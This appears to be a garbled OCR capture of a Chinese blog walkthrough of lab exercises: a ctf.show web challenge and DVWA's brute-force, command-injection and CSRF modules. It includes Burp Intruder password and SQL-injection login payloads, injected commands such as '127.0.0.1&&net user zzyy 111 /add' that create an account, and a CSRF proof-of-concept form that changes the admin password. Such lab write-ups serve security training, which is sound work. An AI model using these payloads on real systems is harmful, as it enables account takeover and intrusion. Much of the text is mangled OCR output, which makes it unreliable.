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Challenge 1285 Solves
o EEA [MOFHAZweb] RFIB=F
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Request Response
Pretty IGENM Hex \n = Raw Hex Render \n =
1 GET / HTTE/Ll.Ll 1 HTTE/Ll.1 200 oK
2 Host : £6e34200b-2811-4833-af5b-00003802ba33.challenge.ctf.show 2 Server : nginx/1.21.1
3 User—-Agent : Mozilla/5.0 (Windows NT 10.0; Win£4; xE4; rv:96.0) Gecko/20100101 Firefox/96.0 3 Date: Fri, 14 Jan 2022 09:05:32 GMT
4 Accept : text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, */*;q=0.8 4 Content-Type : text/html; charset=UTF-8
5 Accept-Language : zh=CH, zh;F0.8, zh-TW; q=0.7, zh-HE; =0.5, =n-US; ¢=0.3, en; ¢=0.2 5 Connection : close
6 Accept—Encoding : gzip, deflate & Flag: ctfshow{ffBcOf33-5a7f-4613-akbB8-b£553809357=}
7 Connection : close 7 X-Powered-By : PHP/7.3.1L
¢ Upgrade-Insecure-Requests : 1 % Content-Length : 19
1 10 [eb3iwhereia Elagd] CSDN @whispergZl
—.DVWA:E
S I PHP A 2 #3%
127.0.0.1/DVWA/setup.php B 9

| Database Setup

Instructions | Click on the 'Create / Reset Database' button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: D:\phpstudy_pro\WWW\DVWA\config
| \config.inc.php

About

ceni @whisnerasd
If the database already exists, it will be cleared and the data will be reset. L S
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.~ Welcome to Damn Vulnerable Web Application!

Instructions | Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, hge_\p web . .
Setup / Reset DB | developers belter understand the processes of securing web applicalions and io aid both students & WddReid g per92L

# — B Brute Force (&) low

Vulnerability: Brute Force

Home ‘

Instructions ‘ L o gln

Setup / Reset DB |
Usermname:
Password:

Command Injection | |
| Login |

File Inclusion

File Upload

Incarnra FADTCUA

Username and/or password incorrect.

" T I e b L
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|
|
CSRF |
|
|
|

FREEMAK S ®H, FHABPIE

op | | Action | | Open Bro.. ” Comment

— Scan

1

silities/brute/index. pl Do passive scan

Do active scan

/5.0 (Windows NT 10.0; F
pplication/xhtml+xml, 2 Send to Intruder CEop “2«--;-r'r|iag=t_-rr|'§’lgl ]
1-CH. zh:c=0.8. gh—TW: c=C -~ 1. om . o

Clear §

g
HiBRR

% EP %_:musername=ad.mj.n&password=512 345 EaLSmyinTleding

loadiE 5 F %15

) Payload Sets

You can define one or more payload sets. The num
tab. Various payload types are available for each pi

Payload set: | 1 ~ | P

Payload type: | Simple list ~ | R

) Payload Options [Simple list]

This payload type lets you configure a simple listo

|’ Paste | i=;admin
————————— |admin12
| Lload.. | .4mingss

PAR Y-



= Request Payload Status
_l0 302
i1 T2 zadmin 200
-2 admini2 200
3 admin888 200
4 adming 200
5 admin123 200
6 sysadmin 200
7 adminxo 200
8 adminx 200
9 Gkadmin 200
10 base 200
11 feitium 200

KA — BB AR

Error

Timeout

Length

376

4640
4640
4640
4721
4640
4640
4640
4640
4640
4640
4640

A an

Comment

CSDMN @whisper921

FrEaB, &I Hpayload1Flpayload24y 5l ~Hadminfllpasswordit i [B11E K & 5 HAh Fi 38 A F
k1 - | .

¥ Intruder at

Attack Save Columns

Jﬂﬁtﬂs] Target T Positions ] Payloads ] Options |

| Filtar: Showing all items

Request | Payload! | Payload2 | Status | Emor | Timeout Length ¥ Comment
0 | 200 Ll O 4740

1 admin i»¢ admin 302 ol L 4am

2 admin'- T» admin 302 _l o 4am

3 admin’ or "="— iz admin a2 Ll ] 401

4 admin’ of 1=1-- s admin 302 al 4

6 admins Teg @dmin 302 kel o 4m

7 base ing admin 302 Bl o 4m

3 admin'or=’ g admin 302 ol o 4m

10 oot s admin 302 Ll L 401

|.“ ...... A S . T 1 Afa J_'.

Request | Response

Raw | Params | Headers | Hex

POST Milnerabilities/brutal HTTRM 1
Hast: 192 168124 48014

Usar-Agent: Mozilla/5 0 (Windows NT 10.0, WinGd; x64; ne96 0) Gecko20100101 FirefoxME.0
Accept: texthiml application/zhtmi+eml application/xml; g=0.9 imagefanf imagefwszbp ™ g=08

Accept-Language: zh-CN,zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-www-form-urlencoded

Content-Langth: 58

Origin: hittp/M192.168.124. 48014

Cannection: clase

Referer: http: 7192 168.124.4:801 4 ulnzrabiliies/bute/

Cookie: PHPSESSID=liggl 2nhjnudkscgkgSurldict; securty=impossible
Upgrade-Insecurs-Requests: 1

usermame=admindpassword=passwords ogin=Login&user_token=7id2b4458535M647 429201 5aed2Bb
— R

L2 15 ] 2] | Tyee a searc

IATZABHE N IER A P A2 5 EE, WMAEIRI

1
SO Inpecon B | -
:M — Maore Information

2. Command Injection

CELkEwhisperoZ:
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RN, RIFESRZEEMENSHEBF G ENSEH, NTERRTEEFLSNE K. PHPA&EAL
driw iR PHPR 78 A RIRZ —, EPNE %R WebMHEFDiscuz! . DedeCMSS#E & L4771

DVWAH g2 ik N —MPHidk, 485 2 pingiX AN Pk
A H 7 ERAT A —Nipi#t4Tping

S HTIRAD R IXS T AR R A ST AR Mping# e, ERABITERE, EFEAMHomd, B W LLEEF Hping
RS RB MRS ASp

DOSH &&H

&& Usage: HF—%m2 && F %L [&& F=%w4..]

LREFAT HE RS R AT EH &S, MR —EHRA BN —EPIT a4
pingd &

#IN127.0.0.1

Ping a device

Enter an IP address:
0006 Fins 127, AP

009 127.0.0.1 ®L32-9® -OL ‘9O Ins TTL=128
€009 127.0.0.1 L3299 : @b ‘@& {Ins TILEEDN @whispero21

A A M A 107 AN 1 ATan—A A AL RA A 1 TTT 100

A TATH AR FH&& 127.0.0.1&&net user

Ping a device
Enter an IP address: Submit

@909 Fing 127.0.0.1 99069 32 9/00000:

Q099 127.0.0.1 9LI2-9@® 9L ‘@ Ims TTL=128
0009 127.0.0.1 ®LI2-90® 9L ‘@O Ims TTL=128
00909 127.0.0.1 §L32=99 @b “@&<Ins TILEBN Gwhispero2l

127.0.0.1&&net user zzyy 111 /add

Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit

QOO® Pinz 127.0.0.1 9999 32 900009

Q009 127.0.0.1 §LI2-9® :HL ‘9@ Ums TTL=128
9009 127.0.0.1 9L32-9® HL ‘9 ins TTL=128
Q999 127.0.0.1 QLI=9® :HL "9 Ins TTL=128
Q009 127.0.0.1 §L32-9® :HL ‘@& Ims TTL=128

127.0.0.1 @& Pine (& é&&&:

CSDN @whisper921

127.0.0.1&&net user



Ping a device

Enter an IP address:

QOO® Ping 127.0.0.] 9999 32 909909

0009 127.0.0.1 ®L32-9® : oL 9 Ins TTL=128
9999 127.0.0.1 L32-9® L "9 Ins TTL=128
9999 127.0.0.1 L32-9® 9L 99 Ins TTL=128
9009 127.0.0.1 ®L3-9® 9L “9H<Ins TTL=128

127.0.0.1 @ Pinz 999 HW:

QOO 9 97009 - 190000009 - 100001 = 0 (0% 9O 4
Q0000 LO00°'00 0J000I00 )

099 = n:999L] = =P P99 = Oms

WINT 999i0€°9
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3.CSRF

CSRFREEUERNIE, WHiFHEMSENH B4, USERP KA XERBERFR, XN RS HRUH
REEEER, BYCSRFATUIERENEE, BHERAKIEM, BKERMCERE.
BHR-IEEERAE, FRERELIHRIE

Test Credentials
Vulnerabilities/CSRF

Valid password for ‘admin’

Username
|admin |
Password

 Login CSDM @whisperd2l

RIVEAERLT), # T RZWEAHBPIE

Butp latrudes Repeater Window Help

(T [ | e | Scame | vt | Repester | Seauece | Decoser | Compres | Ecteder | Pt pions | s ptions | s |
i P [ Wt o [ i |

| Request to hitpi/ 52 163,124 48014

Forwand

Deap Ietenceptison Action

[ s [ [

iET huinzrabities/csri®passwond_new=passwordEpassword_can=passwordhChange=Change HTTRIL1
last: 152 DER124 48004

tsgr-Agent: MazilaS 0 (Wandows NT 100 Windd, ofd, o360} Gecka 20100101 FirefonfS6 0
ceapl: entHml appheatoniairl+aml appicabon/sml qs0 9 mage/ad magetweby ' el &
aeepl-Language: th-CH zhg=0 8 sh- TWHg=0 T o HCge0 5 e LIS el 3 em el 2
creptEacading: gzip, dedate

amgcion: close

‘bz (192 168124 4 601 dulrarabiltiasc srff

avkw. PHPSEESD=hgy | ZnbynsSksc ghafiarldic], sacunty=iow

ppradensecuns-Raguests: 1
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Request to: http://192.168.124.4:8014 QJ |

[ Raw | Params | Headers [ Hex |

GET Mhulnerabilities/csri?password_new=password&password_conf=password&Change=Change HTTP/1 1
Host: 192.168.124 48014

User-Agent:

Mozilla/5.0 (Windows NT 10.0; WinG4; x64; ne96.0) Gecko/20100101 Firefox/36.0

Bccept: text/html application/xhtml+xml application/xml;g=0.9 image/avif imagafwsbp ", q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection:

close

Dafmrme bhide (MO 1802 1794 A-QN1 A hailmarsbiliti s~ el

SS|ES|ESIET)|

CSRF HTML:

<html>

<l-- CSRF PoC - generated by Burp Suite Professional --»

<hody =

<script>history.pushState(”, *, f)</scnpt>
<form action="http: /192 168,124 4:801 4/ vulnerabilities/csi™>
<input type="hidden” name="password &#35; new” value="password" />
<input type="hidden" name="password&#85 conf" value="password" />
<input type="hidden” name="Change" value="Change" />
<input type="submit" value="Submit requast" />

<fform>
<fbody>
</htrml=
CSDN @whisper921

i ditest in browser

J Tt | e ) e

3ET Awlnarabilities/csifi?password_new=password&password_conf=password&Change=Change HTTP/1 .1 [a

Jost: 192.168.124 4:8014

Jser-Agent: Mozilla/S.0 (Windows NT 10.0; WinE4; x64; n:96.0) Gecko/20100101 Firefox/96.0

Accept: text/html application/xhtrl+xml application/xml;q=0.9 image/avif imagafwabp " q=0.8

Accept-Language: zh-CN zh;q=0.8 zh-TW; =07 ,zh-HIK;g=0.5 en-US;q=0.3 en;gq=0.2

Accept-Encoding: gzip, deflate

Zonnection: close

dafmrme kite 1O 182 174 A-QN1Aln drnarabiliti aelaefl |'
0 matches

ﬁw + &] Type a sea

5]

CSRF H ® Show response in br
<html>
zl.- 5581 To show this response in your browser, copy the URL below and paste into a browser that
<hody> is configured to use Burp as its proxy.
<script>h
<form a | http://burp/showi1/u23ig8lmcxTyzyjnye3bql1ztti3as09 Copy
<input
<inEuI [[] In future, just copy the URL and don't show this dialog Close
<input
<input Type="submit" value=" Submi request 1=
<fform>
<fbody>
</himl=

C5DN @whisper92

FER AR FATIF, /R Fm
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Hysubmit request, & [Bl 7 H B password changed, i BA 777 CSRF &,

M FH R Zh



o Vulnerability: Cross Site Request Forgery (CSRF)

Changs your sdmin password:
e Crehertioli.

Mo v

More Information

EA Bypna Cs0OM @whisper921
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